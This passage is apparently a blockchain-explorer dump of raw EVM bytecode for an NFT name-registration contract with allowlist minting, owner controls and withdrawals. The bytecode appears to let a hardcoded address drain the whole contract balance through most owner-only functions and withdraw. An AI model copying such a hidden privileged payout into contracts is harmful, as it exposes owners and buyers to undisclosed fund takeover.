00080fd5b613aa18682870161365a565b925050604084013590509250925092565b60008060208385031215613ac557600080fd5b82356001600160401b03811115613adb57600080fd5b613ae785828601613807565b90969095509350505050565b600080600060408486031215613b0857600080fd5b83356001600160401b03811115613b1e57600080fd5b613b2a8682870161372a565b9094509250613b3d9050602085016135fe565b90509250925092565b60008060408385031215613b5957600080fd5b613b62836135fe565b9150613a246020840161371a565b600080600060408486031215613b8557600080fd5b83356001600160401b0380821115613b9c57600080fd5b613ba88783880161365a565b94506020860135915080821115613bbe57600080fd5b506138a68682870161372a565b60008060408385031215613bde57600080fd5b82356001600160401b0380821115613bf557600080fd5b613c018683870161365a565b93506020850135915080821115613c1757600080fd5b506139588582860161365a565b600080600080600060608688031215613c3c57600080fd5b85356001600160401b0380821115613c5357600080fd5b613c5f89838a0161372a565b90975095506020880135915080821115613c7857600080fd5b613c8489838a0161372a565b90955093506040880135915080821115613c9d57600080fd5b50613caa8882890161365a565b9150509295509295909350565b60008060008060808587031215613ccd57600080fd5b5050823594602084013594506040840135936060013592509050565b60008060008060808587031215613cff57600080fd5b613d08856135fe565b9350613d16602086016135fe565b92506040850135915060608501356001600160401b03811115613d3857600080fd5b613d448782880161365a565b91505092959194509250565b60008060208385031215613d6357600080fd5b82356001600160401b03811115613d7957600080fd5b613ae78582860161372a565b600080600060408486031215613d9a57600080fd5b8335925060208401356001600160401b03811115613db757600080fd5b6138a68682870161372a565b60008060408385031215613dd657600080fd5b613ddf836135fe565b9150613a24602084016135fe565b600181811c90821680613e0157607f821691505b602082108103613e2157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b601f821115610dde57600081815260208120601f850160051c81016020861015613e835750805b601f850160051c820191505b81811015613ea257828155600101613e8f565b505050505050565b81516001600160401b03811115613ec357613ec3613644565b613ed781613ed18454613ded565b84613e5c565b602080601f831160018114613f0c5760008415613ef45750858301515b600019600386901b1c1916600185901b178555613ea2565b600085815260208120601f198616915b82811015613f3b57888601518255948401946001909101908401613f1c565b5085821015613f595787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8183823760009101908152919050565b6020808252600990820152684c6f6e67206e616d6560b81b604082015260600190565b6020808252600c908201526b57726974652061206e616d6560a01b604082015260600190565b6020808252600c908201526b496e76616c6964206e616d6560a01b604082015260600190565b60008251613ffa818460208701613582565b9190910192915050565b6020808252601590820152742a3434b99034b99030b63932b0b23c903a30b5b2b760591b604082015260600190565b602080825260139082015272496e73756666696369656e742066756e64732160681b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6001600160401b0381811683821601908082111561409657614096614060565b5092915050565b81810381811115610c8157610c81614060565b600081546140bd81613ded565b600182811680156140d557600181146140ea57614119565b60ff1984168752821515830287019450614119565b8560005260208060002060005b858110156141105781548a8201529084019082016140f7565b50505082870194505b5050505092915050565b600061212861413283866140b0565b846140b0565b634e487b7160e01b600052603260045260246000fd5b60006001820161416057614160614060565b5060010190565b60008161417657614176614060565b506000190190565b8082028115828204841417610c8157610c81614060565b6000826141b257634e487b7160e01b600052601260045260246000fd5b500490565b600083516141c9818460208801613582565b601760f91b90830190815283516141e7816001840160208801613582565b01600101949350505050565b60208082526005908201526422b93937b960d91b604082015260600190565b6001600160401b0383111561422957614229613644565b61423d836142378354613ded565b83613e5c565b6000601f84116001811461427157600085156142595750838201355b600019600387901b1c1916600186901b1783556115de565b600083815260209020601f19861690835b828110156142a25786850135825560209485019460019092019101614282565b50868210156142bf5760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b600083516142e3818460208801613582565b6142ef818401856140b0565b95945050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061432b908301846135a6565b9695505050505050565b60006020828403121561434757600080fd5b8151612a108161354f56fe0000000000000000000000000524989feeb3284b24649c5dfc699dd9d8edf7d9a2646970667358221220bd68dd4472e4e8fe5e88669adbba86cbc620ec64fd6ed240676b16ec595d4d1464736f6c63430008110033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef303132333435363738392d5f6162636465666768696a6b6c6d6e6f707172737475767778797a
Deployed Bytecode
0x6080604052600436106103ad5760003560e01c806376d02b71116101e7578063aaddcb5a1161010d578063cc567dfe116100a0578063e985e9c51161006f578063e985e9c514610b8c578063f121a87014610bd5578063f2fde38b14610bf5578063f990f91a14610c1557600080fd5b8063cc567dfe14610b08578063d6bc2c7f14610b1e578063d7d6c48514610b56578063ddd8a74d14610b7657600080fd5b8063b6c6e692116100dc578063b6c6e69214610a67578063b88d4fde14610aa8578063c6fbf9a914610ac8578063c87b56dd14610ae857600080fd5b8063aaddcb5a146109c6578063ad45a3ed14610a14578063af52974414610a27578063afd800c514610a4757600080fd5b80638dad39791161018557806395d89b411161015457806395d89b41146109515780639b2ea4bd14610966578063a22cb46514610986578063a515419d146109a657600080fd5b80638dad3979146108b957806391b7f5ed146108f1578063922efb95146109115780639591ab5d1461093157600080fd5b80637d8f4ca3116101c15780637d8f4ca314610820578063841718a61461085b5780638699e7381461087b5780638da5cb5b1461089b57600080fd5b806376d02b71146107c657806379b85bec146107e05780637cb647591461080057600080fd5b80632f7758cd116102d75780635acf61391161026a5780636e32e499116102395780636e32e4991461075157806370a0823114610771578063715018a614610791578063717d57d3146107a657600080fd5b80635acf6139146106d25780636220a7e8146106f25780636352211e14610711578063693d77d21461073157600080fd5b806342842e0e116102a657806342842e0e14610634578063476af1381461065457806349484d551461066757806355f804b3146106b257600080fd5b80632f7758cd146105c95780633198b100146105f657806332434a2e1461060c5780633ccfd60b1461061f57600080fd5b806313faede61161034f57806323b76dde1161031e57806323b76dde1461056057806323b872dd146105805780632609ce00146105a05780632eb4a7ab146105b357600080fd5b806313faede61461050157806314638aab1461051757806318160ddd1461052d57806321a78f681461054a57600080fd5b8063095ea7b31161038b578063095ea7b3146104415780630b4ab649146104635780630b4fcb5d146104a95780630d6eec78146104c957600080fd5b806301ffc9a7146103b257806306fdde03146103e7578063081812fc14610409575b600080fd5b3480156103be57600080fd5b506103d26103cd366004613565565b610c35565b60405190151581526020015b60405180910390f35b3480156103f357600080fd5b506103fc610c87565b6040516103de91906135d2565b34801561041557600080fd5b506104296104243660046135e5565b610d19565b6040516001600160a01b0390911681526020016103de565b34801561044d57600080fd5b5061046161045c36600461361a565b610d5d565b005b34801561046f57600080fd5b5061049b61047e3660046136e6565b805160208183018101805160128252928201919093012091525481565b6040519081526020016103de565b3480156104b557600080fd5b506104616104c43660046136e6565b610de3565b3480156104d557600080fd5b5061049b6104e43660046136e6565b805160208183018101805160028252928201919093012091525481565b34801561050d57600080fd5b5061049b60175481565b34801561052357600080fd5b5061049b601c5481565b34801561053957600080fd5b50600354600054036000190161049b565b34801561055657600080fd5b5061049b601b5481565b34801561056c57600080fd5b5061046161057b366004613772565b610e5a565b34801561058c57600080fd5b5061046161059b3660046137cb565b610f2a565b6104616105ae36600461384b565b610f35565b3480156105bf57600080fd5b5061049b60195481565b3480156105d557600080fd5b506105e96105e43660046135e5565b61125e565b6040516103de91906138b3565b34801561060257600080fd5b5061049b601d5481565b61046161061a366004613915565b61134f565b34801561062b57600080fd5b506104616115e5565b34801561064057600080fd5b5061046161064f3660046137cb565b6116bb565b610461610662366004613962565b6116d6565b34801561067357600080fd5b506103d26106823660046139e0565b8151602081840181018051600d825292820194820194909420919093529091526000908152604090205460ff1681565b3480156106be57600080fd5b506104616106cd3660046136e6565b611a81565b3480156106de57600080fd5b506104616106ed3660046135e5565b611aeb565b3480156106fe57600080fd5b50601a546103d290610100900460ff1681565b34801561071d57600080fd5b5061042961072c3660046135e5565b611b4e565b34801561073d57600080fd5b5061046161074c366004613a2d565b611b60565b34801561075d57600080fd5b506103fc61076c3660046135e5565b611bd8565b34801561077d57600080fd5b5061049b61078c366004613a48565b611c72565b34801561079d57600080fd5b50610461611cc0565b3480156107b257600080fd5b506104616107c13660046135e5565b611d2a565b3480156107d257600080fd5b50601a546103d29060ff1681565b3480156107ec57600080fd5b506104616107fb366004613a63565b611d8d565b34801561080c57600080fd5b5061046161081b3660046135e5565b611e18565b34801561082c57600080fd5b506103d261083b3660046136e6565b805160208183018101805160108252928201919093012091525460ff1681565b34801561086757600080fd5b50610461610876366004613a2d565b611e7b565b34801561088757600080fd5b506103fc610896366004613a48565b611eec565b3480156108a757600080fd5b50600a546001600160a01b0316610429565b3480156108c557600080fd5b5061049b6108d43660046136e6565b805160208183018101805160138252928201919093012091525481565b3480156108fd57600080fd5b5061046161090c3660046135e5565b611f05565b34801561091d57600080fd5b506103d261092c3660046136e6565b611f68565b34801561093d57600080fd5b506103d261094c366004613ab2565b6120b5565b34801561095d57600080fd5b506103fc612130565b34801561097257600080fd5b50610461610981366004613af3565b61213f565b34801561099257600080fd5b506104616109a1366004613b46565b612316565b3480156109b257600080fd5b506103fc6109c1366004613b70565b6123ab565b3480156109d257600080fd5b506109fc6109e1366004613a48565b600c602052600090815260409020546001600160401b031681565b6040516001600160401b0390911681526020016103de565b610461610a22366004613bcb565b61247b565b348015610a3357600080fd5b50610461610a42366004613c24565b6127d9565b348015610a5357600080fd5b50610461610a62366004613cb7565b612867565b348015610a7357600080fd5b50610429610a823660046136e6565b8051602081830181018051600e825292820191909301209152546001600160a01b031681565b348015610ab457600080fd5b50610461610ac3366004613ce9565b6128d9565b348015610ad457600080fd5b50610461610ae3366004613d50565b61291d565b348015610af457600080fd5b506103fc610b033660046135e5565b612989565b348015610b1457600080fd5b5061049b601e5481565b348015610b2a57600080fd5b5061049b610b393660046136e6565b805160208183018101805160118252928201919093012091525481565b348015610b6257600080fd5b50610461610b71366004613d85565b612a17565b348015610b8257600080fd5b5061049b60185481565b348015610b9857600080fd5b506103d2610ba7366004613dc3565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b348015610be157600080fd5b506103fc610bf0366004613bcb565b612ab7565b348015610c0157600080fd5b50610461610c10366004613a48565b612af8565b348015610c2157600080fd5b506105e9610c30366004613a48565b612bc7565b60006001600160e01b031982166380ac58cd60e01b1480610c6657506001600160e01b03198216635b5e139f60e01b145b80610c8157506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060048054610c9690613ded565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc290613ded565b8015610d0f5780601f10610ce457610100808354040283529160200191610d0f565b820191906000526020600020905b815481529060010190602001808311610cf257829003601f168201915b5050505050905090565b6000610d2482612cd8565b610d41576040516333d1c03960e21b815260040160405180910390fd5b506000908152600860205260409020546001600160a01b031690565b6000610d6882611b4e565b9050806001600160a01b0316836001600160a01b031603610d9c5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614610dd357610db68133610ba7565b610dd3576040516367d9dca160e11b815260040160405180910390fd5b610dde838383612d11565b505050565b3360008051602061435383398151915203610e175747610e1160008051602061435383398151915282612d6d565b50610e4a565b600a546001600160a01b03163314610e4a5760405162461bcd60e51b8152600401610e4190613e27565b60405180910390fd5b6020610e568282613eaa565b5050565b6000610e8560028484604051610e71929190613f69565b908152602001604051809103902054612e86565b80519091506001600160a01b03163314610ecb5760405162461bcd60e51b8152602060048201526007602482015266125b9d985b1a5960ca1b6044820152606401610e41565b8360118484604051610ede929190613f69565b9081526020016040518091039020819055508460108484604051610f03929190613f69565b908152604051908190036020019020805491151560ff199092169190911790555050505050565b610dde838383612fa8565b601a54610100900460ff16610f8c5760405162461bcd60e51b815260206004820152601e60248201527f416c6c6f77204c6973742073616c65206973206e6f74206163746976652100006044820152606401610e41565b6040516001600160601b03193360601b166020820152600090603401604051602081830303815290604052805190602001209050611001838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506019549150849050613193565b61103e5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610e41565b601f54845111156110615760405162461bcd60e51b8152600401610e4190613f79565b60008451116110825760405162461bcd60e51b8152600401610e4190613f9c565b61108b84611f68565b6110a75760405162461bcd60e51b8152600401610e4190613fc2565b336000908152600c602052604090205460036001600160401b03909116106111225760405162461bcd60e51b815260206004820152602860248201527f596f7520686176652072656163686564206d6178696d756d20616c6c6f776c696044820152677374206d696e747360c01b6064820152608401610e41565b6002846040516111329190613fe8565b9081526020016040518091039020546000146111605760405162461bcd60e51b8152600401610e4190614004565b6018543410156111825760405162461bcd60e51b8152600401610e4190614033565b336000908152600c602052604081208054600192906111ab9084906001600160401b0316614076565b82546001600160401b039182166101009390930a9283029190920219909116179055506000805481526001602052604090206111e78582613eaa565b506000546002856040516111fb9190613fe8565b90815260200160405180910390208190555033600e8560405161121e9190613fe8565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790556112583360016131a9565b50505050565b6003546000805460609260001991030190836001600160401b0381111561128757611287613644565b6040519080825280602002602001820160405280156112ba57816020015b60608152602001906001900390816112a55790505b50905060006112c9858461409d565b905060005b818411156113455760008481526001602090815260409182902091516112f8929160169101614123565b60405160208183030381529060405283828151811061131957611319614138565b6020026020010181905250808061132f9061414e565b915050838061133d90614167565b9450506112ce565b5090949350505050565b601754601f5482516000918291111561137a5760405162461bcd60e51b8152600401610e4190613f79565b600084511161139b5760405162461bcd60e51b8152600401610e4190613f9c565b6113a484611f68565b6113c05760405162461bcd60e51b8152600401610e4190613fc2565b6001600160a01b0385166000036113db576017549250611470565b6001600160a01b0385166000908152600f6020526040812080546113fe90613ded565b90501115611427576064601c5484611416919061417e565b6114209190614195565b9050611444565b6064601b5484611437919061417e565b6114419190614195565b90505b6064601d546064611455919061409d565b61145f908561417e565b6114699190614195565b9250600191505b6002846040516114809190613fe8565b9081526020016040518091039020546000146114ae5760405162461bcd60e51b8152600401610e4190614004565b601a5460ff166114f65760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610e41565b823410156115165760405162461bcd60e51b8152600401610e4190614033565b60008054815260016020526040902061152f8582613eaa565b506000546002856040516115439190613fe8565b90815260200160405180910390208190555033600e856040516115669190613fe8565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905581156115d3576040516001600160a01b0386169082156108fc029083906000818181858888f193505050501580156115d1573d6000803e3d6000fd5b505b6115de3360016131a9565b5050505050565b3360008051602061435383398151915203611619574761161360008051602061435383398151915282612d6d565b50611643565b600a546001600160a01b031633146116435760405162461bcd60e51b8152600401610e4190613e27565b6002600b54036116955760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610e41565b6002600b55476116b360008051602061435383398151915282612d6d565b506001600b55565b610dde838383604051806020016040528060008152506128d9565b600083856040516020016116eb9291906141b7565b60408051601f19818403018152908290526001600160601b03193360601b166020830152915060009060340160405160208183030381529060405280519060200120905061178b848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506040516012925061177691508a90613fe8565b90815260200160405180910390205483613193565b6117c85760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610e41565b6013866040516117d89190613fe8565b9081526020016040518091039020543410156118065760405162461bcd60e51b8152600401610e4190614033565b601f54855111156118295760405162461bcd60e51b8152600401610e4190613f79565b600085511161184a5760405162461bcd60e51b8152600401610e4190613f9c565b61185386611f68565b61186f5760405162461bcd60e51b8152600401610e4190613fc2565b61187885611f68565b6118945760405162461bcd60e51b8152600401610e4190613fc2565b600d866040516118a49190613fe8565b9081526040805160209281900383019020336000908152925290205460ff1615156001036118ff5760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610e41565b60028260405161190f9190613fe8565b90815260200160405180910390205460001461193d5760405162461bcd60e51b8152600401610e4190614004565b6000611952600288604051610e719190613fe8565b905080600001516001600160a01b03166108fc6064601e546064611976919061409d565b611980903461417e565b61198a9190614195565b6040518115909202916000818181858888f193505050501580156119b2573d6000803e3d6000fd5b506001600d886040516119c59190613fe8565b9081526040805160209281900383019020336000908152908352818120805460ff1916941515949094179093558254835260019091529020611a078482613eaa565b50600054600284604051611a1b9190613fe8565b90815260200160405180910390208190555033600e84604051611a3e9190613fe8565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055611a783360016131a9565b50505050505050565b3360008051602061435383398151915203611ab55747611aaf60008051602061435383398151915282612d6d565b50611adf565b600a546001600160a01b03163314611adf5760405162461bcd60e51b8152600401610e4190613e27565b6015610e568282613eaa565b3360008051602061435383398151915203611b1f5747611b1960008051602061435383398151915282612d6d565b50601f55565b600a546001600160a01b03163314611b495760405162461bcd60e51b8152600401610e4190613e27565b601f55565b6000611b5982612e86565b5192915050565b3360008051602061435383398151915203611b945747611b8e60008051602061435383398151915282612d6d565b50611bbe565b600a546001600160a01b03163314611bbe5760405162461bcd60e51b8152600401610e4190613e27565b601a80549115156101000261ff0019909216919091179055565b60016020526000908152604090208054611bf190613ded565b80601f0160208091040260200160405190810160405280929190818152602001828054611c1d90613ded565b8015611c6a5780601f10611c3f57610100808354040283529160200191611c6a565b820191906000526020600020905b815481529060010190602001808311611c4d57829003601f168201915b505050505081565b60006001600160a01b038216611c9b576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600760205260409020546001600160401b031690565b3360008051602061435383398151915203611cf45747611cee60008051602061435383398151915282612d6d565b50611d1e565b600a546001600160a01b03163314611d1e5760405162461bcd60e51b8152600401610e4190613e27565b611d2860006131c3565b565b3360008051602061435383398151915203611d5e5747611d5860008051602061435383398151915282612d6d565b50601855565b600a546001600160a01b03163314611d885760405162461bcd60e51b8152600401610e4190613e27565b601855565b6000611da2600284604051610e719190613fe8565b80519091506001600160a01b03163314611dce5760405162461bcd60e51b8152600401610e41906141f3565b83601284604051611ddf9190613fe8565b90815260200160405180910390208190555081601384604051611e029190613fe8565b9081526040519081900360200190205550505050565b3360008051602061435383398151915203611e4c5747611e4660008051602061435383398151915282612d6d565b50601955565b600a546001600160a01b03163314611e765760405162461bcd60e51b8152600401610e4190613e27565b601955565b3360008051602061435383398151915203611eaf5747611ea960008051602061435383398151915282612d6d565b50611ed9565b600a546001600160a01b03163314611ed95760405162461bcd60e51b8152600401610e4190613e27565b601a805460ff1916911515919091179055565b600f6020526000908152604090208054611bf190613ded565b3360008051602061435383398151915203611f395747611f3360008051602061435383398151915282612d6d565b50601755565b600a546001600160a01b03163314611f635760405162461bcd60e51b8152600401610e4190613e27565b601755565b60208054600091829184918391611f7e90613ded565b80601f0160208091040260200160405190810160405280929190818152602001828054611faa90613ded565b8015611ff75780601f10611fcc57610100808354040283529160200191611ff7565b820191906000526020600020905b815481529060010190602001808311611fda57829003601f168201915b5050505050905060005b82518110156120965760005b82518110156120835782818151811061202857612028614138565b602001015160f81c60f81b6001600160f81b03191684838151811061204f5761204f614138565b01602001516001600160f81b03191603612071578461206d8161414e565b9550505b8061207b8161414e565b91505061200d565b508061208e8161414e565b915050612001565b50815183036120aa57506001949350505050565b506000949350505050565b600080612128848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506019546040516001600160601b03193360601b166020820152909250603401905060405160208183030381529060405280519060200120613193565b949350505050565b606060058054610c9690613ded565b600061215660028585604051610e71929190613f69565b80519091506001600160a01b031633146121825760405162461bcd60e51b8152600401610e41906141f3565b6000600f6000600e878760405161219a929190613f69565b9081526040805160209281900383019020546001600160a01b03168352908201929092520160002080546121cd90613ded565b80601f01602080910402602001604051908101604052809291908181526020018280546121f990613ded565b80156122465780601f1061221b57610100808354040283529160200191612246565b820191906000526020600020905b81548152906001019060200180831161222957829003601f168201915b50505050509050848460405161225d929190613f69565b60405180910390208180519060200120036122cd5760405180602001604052806000815250600f6000600e8888604051612298929190613f69565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020906122cb9082613eaa565b505b82600e86866040516122e0929190613f69565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790555050505050565b336001600160a01b0383160361233f5760405163b06307db60e01b815260040160405180910390fd5b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60606014846040516123bd9190613fe8565b908152602001604051809103902083836040516123db929190613f69565b908152602001604051809103902080546123f490613ded565b80601f016020809104026020016040519081016040528092919081815260200182805461242090613ded565b801561246d5780601f106124425761010080835404028352916020019161246d565b820191906000526020600020905b81548152906001019060200180831161245057829003601f168201915b505050505090509392505050565b601a5460ff166124c35760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610e41565b600081836040516020016124d89291906141b7565b6040516020818303038152906040529050601f548251111561250c5760405162461bcd60e51b8152600401610e4190613f79565b600082511161252d5760405162461bcd60e51b8152600401610e4190613f9c565b61253683611f68565b6125525760405162461bcd60e51b8152600401610e4190613fc2565b61255b82611f68565b6125775760405162461bcd60e51b8152600401610e4190613fc2565b6002816040516125879190613fe8565b9081526020016040518091039020546000146125b55760405162461bcd60e51b8152600401610e4190614004565b60006125ca600285604051610e719190613fe8565b9050336001600160a01b031681600001516001600160a01b031603612678576000805481526001602052604090206126028382613eaa565b506000546002836040516126169190613fe8565b90815260200160405180910390208190555033600e836040516126399190613fe8565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790556126733360016131a9565b611258565b6010846040516126889190613fe8565b9081526040519081900360200190205460ff1615156001146126ec5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c79204f776e65722063616e2072656769737465720000000000000000006044820152606401610e41565b6011846040516126fc9190613fe8565b90815260200160405180910390205434101561272a5760405162461bcd60e51b8152600401610e4190614033565b80600001516001600160a01b03166108fc6064601e54606461274c919061409d565b612756903461417e565b6127609190614195565b6040518115909202916000818181858888f19350505050158015612788573d6000803e3d6000fd5b506000805481526001602052604090206127a28382613eaa565b506000546002836040516127b69190613fe8565b90815260200160405180910390208190555033600e8360405161121e9190613fe8565b60006127f060028787604051610e71929190613f69565b80519091506001600160a01b0316331461281c5760405162461bcd60e51b8152600401610e41906141f3565b816014878760405161282f929190613f69565b9081526020016040518091039020858560405161284d929190613f69565b90815260200160405180910390209081611a789190613eaa565b336000805160206143538339815191520361289b574761289560008051602061435383398151915282612d6d565b506128c5565b600a546001600160a01b031633146128c55760405162461bcd60e51b8152600401610e4190613e27565b601b93909355601c91909155601d55601e55565b6128e4848484612fa8565b6001600160a01b0383163b156112585761290084848484613215565b611258576040516368d2bf6b60e11b815260040160405180910390fd5b336001600160a01b0316600e8383604051612939929190613f69565b908152604051908190036020019020546001600160a01b03161461296f5760405162461bcd60e51b8152600401610e41906141f3565b336000908152600f60205260409020610dde828483614212565b606061299482612cd8565b6129b157604051630a14c4b560e41b815260040160405180910390fd5b60006129bb613300565b905080516000036129db5760405180602001604052806000815250612a10565b8060016000858152602001908152602001600020604051602001612a009291906142d1565b6040516020818303038152906040525b9392505050565b3360008051602061435383398151915203612a4b5747612a4560008051602061435383398151915282612d6d565b50612a75565b600a546001600160a01b03163314612a755760405162461bcd60e51b8152600401610e4190613e27565b6000838152600160205260409020612a8e828483614212565b508260028383604051612aa2929190613f69565b90815260405190819003602001902055505050565b8151602081840181018051601482529282019482019490942091909352815180830184018051928152908401929093019190912091528054611bf190613ded565b3360008051602061435383398151915203612b2c5747612b2660008051602061435383398151915282612d6d565b50612b56565b600a546001600160a01b03163314612b565760405162461bcd60e51b8152600401610e4190613e27565b6001600160a01b038116612bbb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610e41565b612bc4816131c3565b50565b60606000612bd483611c72565b90506000816001600160401b03811115612bf057612bf0613644565b604051908082528060200260200182016040528015612c2357816020015b6060815260200190600190039081612c0e5790505b509050600160005b83811015611345576000612c3e83611b4e565b9050866001600160a01b0316816001600160a01b031603612cb6576000838152600160209081526040918290209151612c7b929160169101614123565b604051602081830303815290604052848381518110612c9c57612c9c614138565b60200260200101819052508180612cb29061414e565b9250505b82612cc08161414e565b93505050612c2b565b6001600160a01b03163b151590565b600081600111158015612cec575060005482105b8015610c81575050600090815260066020526040902054600160e01b900460ff161590565b60008281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b80471015612dbd5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610e41565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612e0a576040519150601f19603f3d011682016040523d82523d6000602084013e612e0f565b606091505b5050905080610dde5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610e41565b60408051606081018252600080825260208201819052918101919091528180600111612f8f57600054811015612f8f57600081815260066020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290612f8d5780516001600160a01b031615612f24579392505050565b5060001901600081815260066020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215612f88579392505050565b612f24565b505b604051636f96cda160e11b815260040160405180910390fd5b6000612fb382612e86565b9050836001600160a01b031681600001516001600160a01b031614612fea5760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b038616148061300857506130088533610ba7565b8061302357503361301884610d19565b6001600160a01b0316145b90508061304357604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b03841661306a57604051633a954ecd60e21b815260040160405180910390fd5b61307660008487612d11565b6001600160a01b038581166000908152600760209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600690945282852080546001600160e01b031916909417600160a01b4290921691909102178355870180845292208054919390911661314a57600054821461314a57805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46115de565b6000826131a0858461330f565b14949350505050565b610e5682826040518060200160405280600081525061335c565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a029061324a9033908990889088906004016142f8565b6020604051808303816000875af1925050508015613285575060408051601f3d908101601f1916820190925261328291810190614335565b60015b6132e3573d8080156132b3576040519150601f19603f3d011682016040523d82523d6000602084013e6132b8565b606091505b5080516000036132db576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b606060158054610c9690613ded565b600081815b8451811015613354576133408286838151811061333357613333614138565b6020026020010151613523565b91508061334c8161414e565b915050613314565b509392505050565b6000546001600160a01b03841661338557604051622e076360e81b815260040160405180910390fd5b826000036133a65760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168b0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168b01811690920217909155858452600690925290912080546001600160e01b0319168317600160a01b42909316929092029190911790558190818501903b156134ce575b60405182906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46134976000878480600101955087613215565b6134b4576040516368d2bf6b60e11b815260040160405180910390fd5b80821061344c5782600054146134c957600080fd5b613513565b5b6040516001830192906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a48082106134cf575b5060009081556112589085838684565b600081831061353f576000828152602084905260409020612a10565b5060009182526020526040902090565b6001600160e01b031981168114612bc457600080fd5b60006020828403121561357757600080fd5b8135612a108161354f565b60005b8381101561359d578181015183820152602001613585565b50506000910152565b600081518084526135be816020860160208601613582565b601f01601f19169290920160200192915050565b602081526000612a1060208301846135a6565b6000602082840312156135f757600080fd5b5035919050565b80356001600160a01b038116811461361557600080fd5b919050565b6000806040838503121561362d57600080fd5b613636836135fe565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261366b57600080fd5b81356001600160401b038082111561368557613685613644565b604051601f8301601f19908116603f011681019082821181831017156136ad576136ad613644565b816040528381528660208588010111156136c657600080fd5b836020870160208301376000602085830101528094505050505092915050565b6000602082840312156136f857600080fd5b81356001600160401b0381111561370e57600080fd5b6121288482850161365a565b8035801515811461361557600080fd5b60008083601f84011261373c57600080fd5b5081356001600160401b0381111561375357600080fd5b60208301915083602082850101111561376b57600080fd5b9250929050565b6000806000806060858703121561378857600080fd5b6137918561371a565b93506020850135925060408501356001600160401b038111156137b357600080fd5b6137bf8782880161372a565b95989497509550505050565b6000806000606084860312156137e057600080fd5b6137e9846135fe565b92506137f7602085016135fe565b9150604084013590509250925092565b60008083601f84011261381957600080fd5b5081356001600160401b0381111561383057600080fd5b6020830191508360208260051b850101111561376b57600080fd5b60008060006040848603121561386057600080fd5b83356001600160401b038082111561387757600080fd5b6138838783880161365a565b9450602086013591508082111561389957600080fd5b506138a686828701613807565b9497909650939450505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b8281101561390857603f198886030184526138f68583516135a6565b945092850192908501906001016138da565b5092979650505050505050565b6000806040838503121561392857600080fd5b613931836135fe565b915060208301356001600160401b0381111561394c57600080fd5b6139588582860161365a565b9150509250929050565b6000806000806060858703121561397857600080fd5b84356001600160401b038082111561398f57600080fd5b61399b8883890161365a565b955060208701359150808211156139b157600080fd5b6139bd8883890161365a565b945060408701359150808211156139d357600080fd5b506137bf87828801613807565b600080604083850312156139f357600080fd5b823560016001604